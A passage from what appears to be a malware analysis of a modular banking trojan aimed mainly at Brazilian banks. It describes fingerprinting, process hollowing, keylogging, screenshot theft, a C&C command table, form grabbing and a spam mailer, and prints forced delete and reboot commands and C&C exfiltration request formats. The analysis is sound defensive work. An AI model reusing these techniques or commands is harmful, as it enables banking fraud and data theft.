win-harry-test | – |
If these checks are passed, the module proceeds to the following steps:
Self-initialization
The self-initialization step starts with an initialization of a global variable containing a path to the working directory %user%\Public\Libraries\raptor
, all the relative paths mentioned in the following paragraphs will refer to this directory. The module’s inner state, consisting of several data structures, will also be initialized by default values.
The module checks whether there is another instance already running by checking several files containing information about the module’s inner state. More specifically, a file named trusted.certs
(%appdata%\LocalLow\Sun\Java\Deployment\security\trusted.certs
) is checked for a string called appj.bb
. If the string is found, a file named xconf2.log
is created. Otherwise, a file named xconfon.log
is created. Both of these files are located in the working directory.
This step ends up with the process assigning high priority to itself and subsequently hiding the window.
Exploration
During this step, the module looks for windows with the names listed below:
"Kodecsound093", "sqlitexz093", "loterprint093", "mactonshix093", ”MidiaMix093”, "Astarothys093", "MicroxTecnoLogx093", "GoufemaLiamesLogx093", "WeedMindW093", "zemtecks093", "Lamashtu093", "ShichiFukujin093", "Carontex093", "SHEMHAZAIx093", "SABNOCKX093", "haborym093", "damensosteal093", "cebruthiusx093", "UnrealTwinsw093", "winmodskwx093", "mxcompwss093", "hwasrhela093", "kvxwswdealx093", "marxvxinhhm093", "srsysddirrx093", "mxgetronicosxy093", "dwqiopawsamazon093”, "lu769tsla093", "Lrdsnhrxxfery093", "rakpat0rpcack093", “hillwd763free093”
These windows correspond to already running instances. The processes running windows with these names will be terminated by the module. Note that the suffix 093
seems to vary between versions. Thus, it could also serve as the malware’s version information.
Afterwards, several paths are checked for specific files, triggering a sequence of commands if they are found. If the file <malware_version>vrxi.log
does not exist, the following files are checked. If at least one file from the set is found, the corresponding command sequences is triggered:
Paths (triggering command seq. 1) | Command sequence 1 |
C:\ProgramData\pythonx\kodecsoundgwwn.log | taskkill /f /im regsvr32.exe |
C:\ProgramData\paladium\sqlitexzg.gif | taskkill /f /im unins000.exe |
C:\ProgramData\sysdirb\srsysddirrxhh.dll | taskkill /f /im aswRunDll.exe |
C:\ProgramData\nulls\mxgetronicosxy64.dll | |
C:\ProgramData\xnull\dwqiopawsamazon64.dll | |
C:\Users\Public\Libraries\libs\lu769tsla64.~\raptor\vri |
Paths (triggering command seq. 2) | Command sequence 2 |
C:\ProgramData\sysdirb\auid.log | cmd /k del /q /s /f C:\ProgramData\sysdirb & exit |
C:\ProgramData\nulls\auid.log | cmd /k del /q /s /f C:\ProgramData\nulls & exit |
C:\ProgramData\xnull\auid.log | cmd /k del /q /s /f C:\ProgramData\xnull & exit |
C:\Users\Public\Libraries\libs\auid.log | cmd /k del /q /s /f C:\ProgramData\libs & exit |
cmd /k rd /s /q C:\ProgramData\sysdirb & exit | |
cmd /k rd /s /q C:\ProgramData\nulls & exit | |
cmd /k rd /s /q C:\ProgramData\xnull & exit | |
cmd /k rd /s /q C:\ProgramData\libs & exit |
Fingerprinting
The module also checks for installed software (antiviruses and “interesting” applications) and it is launched if and only if the file <malware_version>vrxi.log
does not exist. These checks are done by checking folders in C:\Program Files
and C:\Program Files (x86)
. If software from a hard-coded database is found, a corresponding alias will be added to the message for the C&C server. This database is described in the two tables below:
Paths | Alias 1 | Alias 2 |
C:\Program Files\GbPlugin | GBPLUG | GB |
C:\Program Files (x86)\GbPlugin | GBPLUG | |
C:\Program Files\Diebold\Warsaw\unins000.exe | BOLD | BLD |
C:\Program Files\GbPlugin\bb.gpc | BemBOM | B2 |
C:\Program Files (x86)\GbPlugin\bb.gpc | BemBOM | |
C:\Program Files\GbPlugin\cef.gpc | CxPreta | B4 |
%user%\AppData\Local\Aplicativo Itau\itauaplicativo.exe | CxPreta | |
C:\Windows\Temp\Diebold\Warsaw\upd\uni\ | APP-APP | B5 |
C:\Program Files (x86)\AppBrad\AplicativoBradesco.exe | Laranja | |
C:\Program Files\AppBrad\AplicativoBradesco.exe | BREDI-APP | B6 |
C:\Program Files (x86)\Scpad\scpLIB.dll | BREDI-APP | |
C:\Program Files\Banco do Brasil | NE | B1 |
C:\Program Files(x86)\Banco do Brasil |
AV vendor folders | Alias |
Avast | V1 |
AVG | V2/V3 |
Symantec | V4 |
McAfee | V5 |
COMODO | V6 |
BitDefender | V7 |
ESET | V8 |
This information is serialized into a telemetry string:
<NETBIOS name>_<Volume info>-:-<OS version>-:-<Malware version>-:-<Path to module G>-:-<Path to module 64>-:-<OS architecture>-:-<Aliases of detected SW>-:-<Texts from windows>-:-<Language identifier>
This string is then encoded with Base64 and sent in a GET request to the C&C server. Here’s a shortened example of the request:
hxxp://digitais.info/snniper/dir<number>/?<time1>=<time2>&1=<Base64 telemetry string>
Variables time1
and time2
are formed from Delphi time formatting strings “mshhddnnssmm” and “hhmsddnnss” respectively; the variable number
may vary from 1 to 9.
Core functionality
If none of the interesting applications is found during fingerprinting, the module will inject data into a process via process hollowing. More specifically, the data saved in a file named rakpat0rpcacke.jpg
(module E – mailer loader) and is transferred into a memory stream, which is in turn injected into a new instance of one of the following processes:
C:\Program Files\Diebold\Warsaw\unins000.exe
C:\Windows\SysWOW64\svchost.exe
C:\Windows\System32\svchost.exe
Interestingly, module E is launched on a desktop screen, likely one that is not displayed to the user, with the name:
IIBQEOFHEYOSWJLVMEYIDHEYIBQRYOFCCNWRSGJRUPMTIDHKETIFQHLCNWTUSK
Afterwards, two more modules are loaded. They are contained in files called rakpat0rpcacka.jpg
and rakpat0rpcackb.jpg
(NirSoft 3rd party modules) and their content is injected into another instance of the process used earlier, again via process hollowing. This process is created with the following parameters:
Command line: <path> /stext \raptor\xmda_<NETBIOS name>_<Volume ID>.mod
Application: <path>
The first file contains a module that isn’t present in more recent campaigns, while the second one corresponds to NirSoft’s WebBrowserPassView (a recovery tool for passwords stored in a browser).
This module uses the same two-level C&C server architecture, the first-level C&C servers are listed in Appendix A.1, as the module DWWN.
In short, an HTTP request is sent to a URL <first-level C&C domain>//09/dsct.txt
, the response contains a second-level C&C domain that is encrypted by a custom substitution cipher. Afterwards, a POST request is sent to this server with Base64 encoded data consisting of Base64 encoded contents of the aforementioned file, which was used to create a process into which the two modules were injected, and a Base64 encoded path to this file.
At this point, several files are created — a log file <malware_version>guild.log
and a configuration file pblqxx<time dd.mm>.ini
(if pblqrr<time dd.mm>.ini
does not exist).
The rest of the functionality is implemented via multiple timers named _Trakpat0rpcackA_rakpat0rpcackA_<number>Timer
, and two handlers for events KeyReleased
and MouseReleased
. For the sake of simplicity, we will refer to them from now on as Timer <number>
. Interestingly, nearly all these timers disable themselves during the event processing. Naturally, they are re-enabled after the event’s purpose is finished. Note that several timers have been omitted as they use empty events, these will be denoted as null stubs
. These timers have their default interval noted by their name in the respective section; however, this value changes often and sometimes it may by multiple events.
Timer 13 (watcher, interval 1s)
This timer keeps track of running applications and opened browser windows and tabs. Furthermore, when the file pblq<time dd.mm>.ini
is present, a function TaskKill
(see Appendix A.3) is executed, killing browser processes along with targeted banking applications. The interactions of this timer with other timers are listed below:
Condition | Enabled timers | Intervals changed |
pblq<time dd.mm>.ini exists | Timer 13 (watcher) | |
mozilla window class found; A string is found: “Ita” “aplicativo ita” “SunAwtFrame” | Timer 14 (partizan) | |
A string is found: “Putty” “banrisul.com.br” “aai.brasil.com” “aapf.brasil.com” “aapf.bb.com” “aapj.bb.com” “internetbanking.caixa.gov.br/sigov” “govconta.caixa.gov.br/sigov” | Timer 19 (ping) Timer 25 (snitch) Timer 26 (snitch) | Timer 13 2 seconds |
A strings is found: “router.itau.com.br” “banklin.itau.com.br” “santandernetibe.com.br” “bradesconetempresa” “ibpf.sicredi.com.br” “ibpj.sicredi.com.br” | Timer 14 (partizan) Timer 22 (null sub) |
The existence of several banking applications is checked by accessing the following paths:
C:\Program Files (x86)\AppBrad\AplicativoBradesco.exe
C:\Program Files\AppBrad\AplicativoBradesco.exe
C:\Users\%username%\AppData\Local\Aplicativo Itau\itauaplicativo.exe
C:\Sicoobnet\office.exe
If one of these is found, the module tries to find windows with names:
Aplicativo Bradesco
, AplicativoBradesco.exe
, Navegador Exclusivo 3
, MozillaWindowClass
, Ita
, aplicativo ita
, SunAwtFrame
, PuTTY
The existence of such windows triggers a hijack of specific hotkeys (ALT + VK_ESCAPE
, ALT + VK_F4
, ALT + VK_TAB
, VK+LBUTTON
) in order to prevent the user from switching or closing the window. The application itauaplicativo.exe
is a small exception as the key combination VK+LBUTTON
is not hooked if it is detected.
If a PuTTY
window is detected, a screenshot is taken, compressed (using zlib library) and saved to a file .\vri\<NETBIOS name>_<Volume ID>_byte<counter>.jpg
. Afterwards, it is sent to the C&C server via this GET request:
http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>xONLINE_UNI_x), Base64(section2))
At this phase, a “flag” file xconf40.log
is created, too.
This timer also contains a lookup for windows of a few prevalent browsers (via their class name):
iefram (Internet Explorer)
mozilla (Mozilla Firefox)
chrome (Google Chrome)
ApplicationFrameWindow (Edge)
If any of these windows are detected, a lookup for child windows, which can either be tabs or pop up windows, is initiated, again by the object’s class name:
Internet_Explorer_Server (Edge, Internet Explorer)
Chrome_RenderWidtetHostHWND (Google Chrome)
MozillaWindowClass (Mozilla Firefox)
Then, the malware tries to search for strings in these browser windows (or more specifically URLs of opened sites). Each set of strings, note that these sets are disjunct, triggers some actions. These actions may entail screenshotting (screenshot is compressed with zlib and saved to .\vri\<NETBIOS name>_<Volume ID>_byte<counter>.jpg
), hooking and disabling specific key combinations, effectively preventing the user from changing the window or closing the browser tab; these combinations are:
ALT + VK_ESCAPE
, ALT + VK_F4
, ALT + VK_TAB
, VK_LBUTTON and CTRL + W
, SHIFT + W
, ALT+W
, F10
, ALT
, VK_OEM_3
These sets also trigger a GET request:
http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>x<param>), Base64(section2))
and create a flag file xconf<flag file number>.log
.
URL set | Flag file number | Parameter | Additional actions |
banrisul.com.br | 5 | xONLINE_UNI_x | screenshot |
Internactional.bb.com.br bblam.bb.com.br aai.brasil.com aapf.brasil.com aapf.bb.com | 1 | xONLINE_BB_x | screenshot |
.cdg.bb | 2 | xONLINE_GF_TOKEN_x | key combinations disabled |
aapj.bb.com aapj.brasil.com | 2 | xONLINE_GF_NORMAL_x | screenshot |
internetbanking.caixa.gov.br govconta.caixa.gov.br/sigov | 3 | xONLINE_CF_x | screenshot and key combinations disabled |
If matched sets, along with PuTTY
windows are found, they are noted down for further use by Timer 19
(ping).
Timer 14 (partisan, interval 2s)
This timer is a “second” stage of Timer 13
(watcher). Once Timer 13
detects a tracked behavior, it triggers Timer 14
, which will inject a payload into a specific process. The specifics are governed by the content of the opened windows and the OS version. Below is a picture containing a high-level overview of the event’s functionality below:
The following window class names will trigger an injection via process hollowing:
iefram, chrome, mozilla, customrou, sunawtframe, BUTTONCLA, HwndWrapper, ApplicationFrameWindow, Bradesco
If none of the following window class names exists, Timers 24
(garbage collector) and 14
(partisan) are turned off. Additionally, Timer 13
(watcher) is turned on, too.
The decision tree behind these actions also creates log files containing handles to these windows. The log file name format is hd<log_number>sys<a|b|c|d>.log
, where a
, b
, c
, and d
are used when the windows class is iefram
, chrome
, mozilla
, or other class
respectively. As mentioned before, these log files are then used by module rakpat0rpcackdwwn.gif
(RAT module).
Condition | Action 1 | Action 2 |
itau.com.br | Timer 14 interval to 2s Load DWWN module | log_number = 1 Timer 14 interval to 7s Load DWWN module |
santandernetibe.com.br | Timer 14 interval to 2sLoad DWWN module | log_number = 2 Timer 14 interval to 7s Load DWWN module |
ita aplicativo ita | Timer 14 interval to 10s Inject DX module | log_number = 3 Inject DX (see table below) module Timer14 interval to 5ms |
AplicativoBradesco.exe Aplicativo Bradesco Navegador Exclusivo 3 | Timer 14 interval to 2s Load DWWN module | log_number = 4 (for APP) Timer 14 interval to 7s Load DWWN module |
bradescoconetempresa | Timer14 interval to 2s Load DWWN module | log_number = 4 (for browsers) Timer 14 interval to 7ms Load DWWN module |
SunAwtFrame | Timer 14 interval to 2s Load DWWN module | log_number = 5 Set Timer 14 interval to 7s Load DWWN module |
Ibpj.sicredi.com.br ibpf.sicredi.com.br | Timer 14 interval to 2s Load DWWN module | log_number = 6 Timer 14 interval to 7s Load DWWN module |
internactional.bb.com.br bblam.bb.com.br aai.brasil.com aapf.brasil.com aapf.bb.com | Timer 14 interval to 2s Load DWWN module | log_number = 7 Set Timer 14 interval to 7s Load DWWN module |
aapj.bb.com aapj.brasil.com .cdg.bb | Timer 14 interval to 2s Load DWWN module | log_number = 8 or log_number = 9 if “_GF_TOKEN_x” flag found Timer 14 interval to 7s Load DWWN module |
(undefined) | Timer 14 interval to 2s Load DWWN module | log_number = 15 Timer 14 interval to 7s Load DWWN module |
(undefined) | Timer 14 interval to 2ms Load DWWN module | log_number = 16 Timer 14 interval to 7s Load DWWN module |
The following table describes possible targets for the injection, provided itauaplicativo.exe
was detected, of the module rakpat0rpcackdx.gif
(RAT module):
Conditions | Injected processes (if the path leads to a file) |
OS version 5.1, 6.0, 6,1 | C:\Program Files\AVAST Software\Avast\aswRunDll.exe C:\Program Files\Diebold\Warsaw\unins000.exe C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe |
OS version 6.2, 6.3, 10.0 | %LocalAppData%\Aplicativo Itau\itauaplicativo.exe C:\Windows\SysWOW64\svchost.exe |
OS version 5.1, 6.0, 6.1, 6.2, 6.3, 10.0 | C:\Program Files\AVAST Software\Avast\aswRunDll.exe C:\Windows\system32\ctfmon.exe C:\Program Files\Diebold\Warsaw\unins000.exe |
The OS version numbers correspond to specific versions of MS Windows: Windows XP (5.1), Windows Vista (6.0), Windows 7 (6.1), Windows 8/8.1 (6.2/6.3), Windows 10 (10,0).
If any of these conditions are met, a desktop named default_set
is created, an explorer.exe
process is created and Timer 14
’s interval is set to 5 seconds.
Timer 16 (dispatcher , interval 900s/2700s)
An address is picked from the second list of C&C addresses (Appendix A.2.) and the timer’s interval is set to 2,700 seconds. A GET request is sent to this server, its response is a Base64 encoded string of the format:
*<number>*<filename>
This executes a command:
cmd /k \raptor\<filename>
If a valid command is received, the timer interval is set to 31,200 seconds.
Timer 17 (screenshot post, interval 0.1s)
A POST request is sent to an address http://<second-level C&C domain>
. Data in the POST request is in Base64([<Base64 encoded screenshot>,<Base64 encoded path>])
. The POST data contains a screenshot (loaded from .\vri\<NETBIOS name>_byte<counter>.jpg
) and its relative path.
When all available screenshots are sent, the timer disables itself.
Timer 18 (bot, interval 30s)
When a file logx1
exists, the C&C server is contacted using a GET request
http://<second-level C&C domain>/?<20-30 random characters>=Base64(Base64(<windows>_<NETBIOS name>_<Volume ID>cmd.html)Base64(“section7”))
where the windows
variable is given by matched file flags xconf<number>.log
(set mostly by Timer 13
). More specifically, these flags are transformed into strings:
xOK_
, xBBx_
, xGFx_
, xCEFx_
, xUNIx_
, xPUTTYx_
Note that naturally a device may have multiple matches. In this case, corresponding strings are concatenated.
The response contains a message in the following format:
$<cmd>*<number of xconf files>*<unknown>*<C&C URL>*<path to process to be injected>*<cmd creating a process>*<sleep counter>
The table of respective commands is listed below:
Command hex value | Description |
0x384 | Create desktop “xrakpat0rpcack1111x22” |
0x385, 0x386 | Another malicious file is received. This file will be injected via process hollowing into one of the following processes: “C:\Program Files\Diebold\Warsaw\unins000.exe” “C:\Windows\SysWOW64\userinit.exe” “C:\Windows\System32\userinit.exe” |
0x387 | Switch to the desktop “xrakpat0rpcack1111x22” and create process: “C:\Windows\SysWOW64\explorer.exe” or “C:\Windows\explorer.exe” |
0x388, 0x389 | Same as commands 0x385 but different process is injected: “C:\Windows\SysWOW64\svchost.exe” or “C:\Windows\System32\svchost.exe” |
0x38A | Same as commands 0x385 but different process is injected: “C:\ProgramFiles\Diebold\Warsaw\unins000.exe” or “C:\Windows\SysWOW64\svchost.exe” or “C:\Windows\System32\svchost.exe” |
0x38B | Same as command 0x385 but different process to inject: “C:\Program Files\Diebold\Warsaw\unins000.exe” or “C:\Windows\SysWOW64\svchost.exe” or “C:\Windows\System32\svchost.exe” |
0x38C | Switch to the desktop “default” |
0x38D, 0x38E | Same as command 0x385 but different process to inject: “C:\Program Files\Diebold\Warsaw\unins000.exe” or “C:\Program Files (x86)\Internet Explorer\iexplore.exe” or “C:\Program Files\Internet Explorer\iexplore.exe” |
0x390 | Save downloaded file from the C&C into the memory, fix its imports and save pointer to that memory into a global variable. |
0x391, 0x392 | Receive a malicious file, save it to a working directory under a name that was sent with this command and inject it into iexplore.exe. |
0x393, 0x394 | Same as commands 0x391, but another file will be used for injection: “C:\Program Files\Diebold\Warsaw\unins000.exe” |
0xD1 | Download a file from the C&C, save it as ievx.exe, and execute command: cmd /k \raptor\ievx.exe |
0x12B | Download a file from the C&C, save it as ievx.exe. |
0x14D | Turn on Timer 28. |
0x14A | Turn off Timer 28. |
0x2C4 | Deletes flag files: \raptor\xconf1.log, \raptor\xconf2.log, \raptor\xconf3.log, \raptor\xconf4.log, \raptor\logx<number> |
0xB | Saves internal state and configuration data to \raptor\pblq<time dd.mm>.ini |
0xED | Send log files to the second-level C&C server. <NETBIOS name>_<VolumeID>_log<number>.html <NETBIOS name>_<Volume ID>_logs.html |
0x11 | Send POST request to the C&C server that contains a specific screenshot file. The data contains a Base64 encoded screenshot and its Base64 encoded path. |
0x10 | Send all screenshots to the C&C server via POST request. |
0x0F | Writes URL address received from the C&C server, to logx<number>. Afterwards, all log files are sent to the C&C: <NETBIOS name>_<VolumeID>_log<number>.html <NETBIOS name>_<Volume ID>_logs.html |
0x0E | Copy data from the file logx<number> to <NETBIOS name>_log<number>.html. Save filenames of all log<number> files into <NETBIOS name>_logs.html. Send both files to the C&C server via POST request. |
0x27E | Almost the same as Timer 25 (snitch); however, also converts the timestamp of the files listed in Appendix A.4 from UTF to local time. |
0x27F | Execute commands: cmd /k shutdown -r -t 0 -f cmd /k shutdown -r -t 1 -f cmd /k shutdown -r -t 0 -f |
0x280 | Saves unknown data to file pblqxx<time dd.mm>.ini |
0x281 | Deletes files: pblqxx<time dd.mm>.ini pblqrr<time dd.mm>.ini pblq<time dd.mm>.ini |
0x282 | Deletes files: java_system64.log java_update64.vbs java_update64.cmd |
0x283 | Deletes files: java_system65.log java_update65.vbs java_update65.cmd |
0x284 | Deletes files pblqnnn<time dd.mm>.ini |
0x285 | Saves unknown data to the file pblqxxyy.ini and enables Timer 23 (null stub). |
0x286 | Saves unknown data to the file pblqrr<time dd.mm>.ini |
0x287, 0x288 | Depending on the configuration state, creates some of these files: xconf1.log, xconf2.log, xconf3.log, xconf4.log, xconf5.log, xconf6.log |
0x28C | Writes down malware version to the file logx<number>. Sends this file to the second-level C&C server. |
0x29A | It may change address of second-level C&C address to: http://<second-level C&C>/0<number>/01 The number may range from 2 to 7. |
Timer 19 (ping, interval 40s)
Timer 19
sends a GET request to the second-level C&C server:
http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>xONLINE<windows>), Base64(section2))
,
where a windows
variable is given by matched software flags set by Timer 13
(watcher). Similarly to Timer 18
; only this time, the same strings as in the case of Timer 13
are used.
Moreover, if a file pblq<date>.ini
exists, another GET request is sent:
http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>xONLINE<windows>x_PAREDE_NELE_x), Base64(section2))
Also several key combinations (CTRL + W
, SHIFT + W
, ALT + W
, F10
, ALT
) are disabled.
Timer 20 (watchdog, interval 3s)
When the file pblqxx<time dd.mm>.ini
does not exist, the following command is executed:
cmd /k shutdown -r -t 0 -f
Timer 21 (screenshotter, interval 5s)
A screenshot of a desktop is made and saved to .\vri\<NETBIOS name>_byte<counter>.jpg
. Afterwards, the timer disables itself.
Timer 24 (“garbage collector”, interval 2s)
If none of the following class names exists, the memory of rakpat0rpcackdwwn.gif
(RAT module sending GET requests to multiple C&C servers (Appendix A.1)) is freed and Timer 13
(watcher) is enabled:
ieframe (iexplorer.exe)
chrome
mozilla
sunawtframe (Java Swing in browser)
customrou
BUTTONCLA
HwndWrapper (Windows SDK window class)
ApplicationFrameWindow (generic window class in windows)
Bradesco (Banco Bradesco application)
Timer 25/26 (snitch, interval 2s)
Checks the class name of the foreground windows against this list:
IEFrame
, PuTTY
, ApplicationFrameWindow
, mozilla
, sunawtframe
, chrome
When the foreground window matches one of these, information is collected from several files (auid.log
, auid<malware_version>xx.log
and auid.ini
), added to telemetry information (malware version, OS version, user privileges – SUPER_USER
or UAC_ATIVO
), active application identificator (Cliente: BB
/GF
/CEF
/BANRI
/PUTTY
), classname, path to itself, and a server to which the data will be written in a global variable. This global variable is then saved to <NETBIOS name>_<Volume ID>_log<time d>.html
and after encoding to Base64 also this information is sent via a POST request to:
http://<second-level C&C domain>/?Base64(<Base64 encoded path the file><ditto>)
The same request is also sent to the same address, but the file path has log<time d>
replaced by logs
.
At the end of the Timer 25
event, Timers 13
(watcher), 17
(screenshot post), and 18
(bot) are enabled and Timers 19
(ping), 22
(null stub), 25
(snitch), 26
(snitch) are disabled.
Interestingly, Timer 26
has its own global variable that is compared to the “standard” telemetry global variable at its event’s beginning. If the content of these two variables is the same, Timer 26
’s event ends. Furthermore, Timer 26
does not contain any timer manipulations and it does not temporarily disable its own ticks.
Timer 27 (installer, interval 60s)
A GET request is sent to a server hxxp://sstatic1.histat.com/0.gif?4126204&101
, possibly to track new infections. Afterwards, if the file pblqxxyy.ini
exists, Timer 23
(null stub) is enabled.
This is followed by a registry cleanup – these values are removed from the Run registry:
Java_Plugin_UserInit, Java_Plugins, Java_Plugin_vs102, Java_Plugin_17.0920103, Java_Plugin_17.0920104, Java_Plugin_17.0920105, Java_Plugin_17.0920106, Java_Plugin_17.0920107, AddOns_17.0920109, AddOns_17.0920110, AddOns_17.0920112, Java_Plugin_AddOns_18.0920113, Java_Plugin_AddOns_18.0920114, Java_Plugins_AddOns_18.0920115, Java_Plugins_AddOns_18.0920116, Java_Plugins_AddOns_18.0920117, Java_Plugins_AddOns_18.0920122, Java_Plugins_AddOns_18.0920123, Java_Plugins_AddOns_18.0920124, Java_Plugins_AddOns_18.0920125, Java_Plugins_AddOns_18.0920126, Java_Plugins_AddOns_18.0920127, WinChromeUpdate201806xx0128, WindChrome.Plug00ADEK91020129, SysDir.PLUGS.SOUND132, Realtek.SOUND133, Realtek.SURROUND134, Realtek.SURROUND135, Drive.SURROUND%userName%, chrome.updatesys%userName%, Driver.updatesys%username%
Similarly, the malware is added to the Run registry keys by executing the command:
regsvr32.exe /s "\raptor\rakpat0rpcack64"
,
the registered file is the initial loader of the malware. Afterwards, the timer disables itself.
Timer 33 (injector, interval 2s)
Time 33
injects rakpat0rpcackc.jpg
(data extractor), a data extractor module, into:
C:\Windows\System32\svchost.exe
C:\Windows\SysWOW64\svchost.exe
C:\Program Files\Diebold\Warsaw\unins000.exe
Afterwards, the timer disables itself.
KeyRelease event
At the beginning, the KeyRelease
event checks whether there’s a window handle saved in a global variable. If it is not found, the event ends. Otherwise, browser windows (or more specifically Java classes sunawtframe
, sunatcanvas
, sunawtdialog
) are checked for the Brazilian banking URLs:
appf.bb.com
appf.brasil.com
aai.brasil.com
internacional.bb.com.br
bblam.bb.com.br
aapj.brasil.com
aapj.bb.com
govconta.caixa.gov.br/sigov
internetbanking.caixa.gov.br
banrisul.com.br
Additionally, the event checks for a running PuTTY
instance. If a URL listed above is found or PuTTY
is running, the module starts sniffing keys Enter
, Backspace
, Delete
, Alt
, Caps Lock
, Ctrl
; these are logged in the global variable containing telemetry data (in the form [key]
). Furthermore, if pblq<time dd.mm>.ini
exists, the event will execute TaskKill
(see Appendix A.3).
MouseRelease event
If the file pblq<time dd.mm>.ini
exists, TaskKill
(see Appendix A.3) is executed. Afterwards, active windows are searched for class names sunawtframe
, sunatcanvas
, sunawtdialog
. If at least one of them is found, a screenshot is created (saved after compression to .\vri\<NETBIOS name>_byte<counter>.jpg
). Additionally, UI elements of the aforementioned windows are searched for the strings listed in the table below. If the combination of URL opened in the window and one of the corresponding strings is found, the corresponding actions are executed.
URLs | Strings | Actions |
govconta.caixa.gov.br/sigov internetbanking.caixa.gov.br | continuar bloqueto de cobran incluir aposta pagamento | xconf4.log file is created |
govconta.caixa.gov.br/sigov internetbanking.caixa.gov.br | transfer pessoa jur Outras Contas saldo extrato Pagamentos Minha conta Contas de empresa | Enable Timer 21 (screenshotter) |
aapj.brasil.com aapj.bb.com appf.bb.com appf.brasil.com aai.brasil.com internacional.bb.com.br | conta corrente extrato pagamento | Enable Timer 21 (screenshotter) |
Version updates
Version 139, discovered at the end of April 2019, brought a significant extension to this module. The list of recognized domains in Timer 13
has been hugely extended (see Appendix A.5, domains are split according to regions); correspondingly, the list of flag files has been extended by xconf91.log,…, xconf98.log
. Similarly, the list of flags in Timer 18
has been extended by several strings (corresponding to files xconf91.log,…, xconf98.log
):
xMUNDIx_AR_
xMUNDIx_CN_
xMUNDIx_CO_
xMUNDIx_EC_
xMUNDIx_EURO_
xMUNDIx_PE_
xMUNDIx_UY
Unsurprisingly, the suffix after xMUNDIx_
corresponds to the regions that are targeted by the respective domain (e.g. xMUNDIx_UY
contains domains having Uruguayan top level domain).
Suffix | Flag file | Region |
AR_x | xconf91.log | Argentina |
CL_x | xconf92.log | Chile |
CN_x | xconf93.log | China |
CO_x | xconf94.log | Colombia |
EC_x | xconf95.log | Ecuador |
EURO_x | xconf96.log | Europe |
PE_x | xconf97.log | Peru |
UY_x | xconf98.log | Uruguay |
The language restrictions have also been changed. Since version 139, the module does not limit itself to computers with Portugese localization, it halts on computers running English localization instead.
Module C (data extractor)
SHA256: 3c5bd1d99b5fe981172e49549ad01b535d2be4d851ce457875022a98dd7cdf7e
This module is capable of stealing login credentials and credit card details from various webmail services, payment systems, social media sites, e-commerce and other web pages. It also steals email contacts from desktop email clients like Outlook, TheBat, Thunderbird, Apple Mail and others.
The core functionality is triggered by a timer with an interval of 90 seconds that is enabled if and only if the file C:\Users\Public\Libraries\<username>sys64.log
does not exist.
This lock file is then created by tmrKum5
at the end of its associated event.
The C&C structure for this module is the same two-level structure that is used by RAT modules. In short, whenever necessary, a first-level C&C (see Appendix D.1) is chosen from the list and contacted by HTTP at <first-level C&C domain>//09/dsct.txt
. The response may contain a second-level C&C server domain protected by a simple substitution cipher with a custom alphabet. For more details, see the description of the retrieval protocol in the description of the module DWWN.
Browser closer
The module executes a timer that periodically checks for window classes mozilla
(Mozilla Firefox/Thunderbird), CoreWindows
(Windows Universal Platform windows), chrome
(Google Chrome). If any such window is in the foreground, the key combination CTRL+W
is pressed, to close the tab or the browser window. Afterwards, the window is closed via the API function PostMessageA.
Desktop email client stealer
The module checks for predefined, desktop email client related files and tries to steal saved contacts and also tries to parse certain email’s To
, From
, and CC
tags.
Whenever any such file is found, metadata is extracted, validated, and the extract is immediately sent to a second-level C&C. The validation checks e.g. the email address format.
Also for emails, only a subset of top-level domains is of the module’s interest (.com
, .br
, .net
, .in
, .ar
) narrowing down the localization to two common international domains and three national ones (Brazil, India, and Argentina).
Targeted files / email clients:
DBX, MBX - Outlook Express
WAB - Windows Address Book
TBB - TheBat!
EML - various clients
MBOX - Thunderbird, Apple Mail,..
Browser form grabber
The form grabber starts during the initialization. It periodically checks browser windows to see whether they contain specific strings or not. The target list is wide and heavily focused on Brazil. We can find big Brazil e-commerce sites, payment systems, consulting services, travel services, flight tickets systems, airlines, webmails or hosting providers and many others; see Appendix D.2-6 for more details. If a match is found, a second timer is triggered; in some cases, the module also attempts to log the user out. One notable exception is Netflix, which is only redirected to https://www.netflix.com/simplemember/editcredit
, a page containing Netflix billing information.
The second timer tries to access the content of the window and parse the HTML. The content is matched against various element IDs, element options, or expected inputs. If anything matches these rules, the corresponding data is extracted and immediately sent to the second-level C&C server.
Module E (Mailer module loader)
SHA256: 50a4c3c2d0e8835e64e3a679a97dd8afd4807797222b581a5f86686d38c17816
This module loads and injects Module F into a targeted file. The main code is almost the same as in XA+XB, with the same targeted files (userinit.exe
, unins000.exe
) and injection technique.
Module E includes some kind of re-initialization method which is executed every 93 seconds. The algorithm searches for the files created by module F (*.lig
, *.deslig
) and deletes them if they exist. It also closes the window with a name dybuk
.
An interesting feature in module E, is watching windows error dialogs and closing them manually using the PostMessageA API function.
If a file dybuk.block
exists, module E is terminated. This file is created by module F.
Module F (Mailer)
SHA256: 8bd623f83f23e9ad4b37e0c88866c6a55eba19f4607fd472d46368ab5f7538f6
This module is used to distribute spam messages. Its C&C servers have, again, two levels – a first-level C&C is contacted in order to obtain the location of the second-level C&C.
The second-level C&C then provides the bot with information, such as the location and credentials of the SMTP server to connect to, the recipients of the spam messages, and the headers and bodies of the spam messages. Unfortunately, none of the first-level C&Cs gave us the location of the second-level C&C at the time of analysis, so we were not able to extract the actual configuration and had to resort to static analysis of this module.
The module does not receive the exact body of the spam message it is supposed to send, but instead a template, describing the email bodies, is sent. The template might contain placeholders that are substituted with their respective values before the actual email is sent. For example, the spam messages often contain links to malicious content. Instead of hard-coding a single link in the email body, the placeholder [LINK]
is used which is then substituted with a random link from the bot configuration. Some of the placeholders’ primary purpose is to probably mutate the email bodies in order to make them harder to detect. Other purposes of the placeholders is to make the spam messages appear more personal in an attempt to be more effective at phishing. The following placeholders are supported:
Placeholder | Description |
[RAND2] | Random number in the range 0,…,33 |
[RAND1] | Random number in the range 0,…,59 |
[RAND] | Random number in the range 0,…,36 |
[DATA] | Current date in the format dd/mm/yyyy |
[HORA] | Current time in the format hh:nn:ss |
[EMAIL] | Sender’s email address |
[NOME] | Substring of EMAIL before “@” symbol, first character uppercase, the rest is lowercase |
[R-EMAIL] | Recipient’s email address |
[R-NOME] | Ditto NOME but with R-EMAIL |
[LINK] | Random link from the file links.txt |
Note that these placeholders are partly in Portugese (hora = hour, nome = name).
This module’s configuration is initialized in phases. There is a global phase_num
variable that starts at 0. Then, in the TmrFases
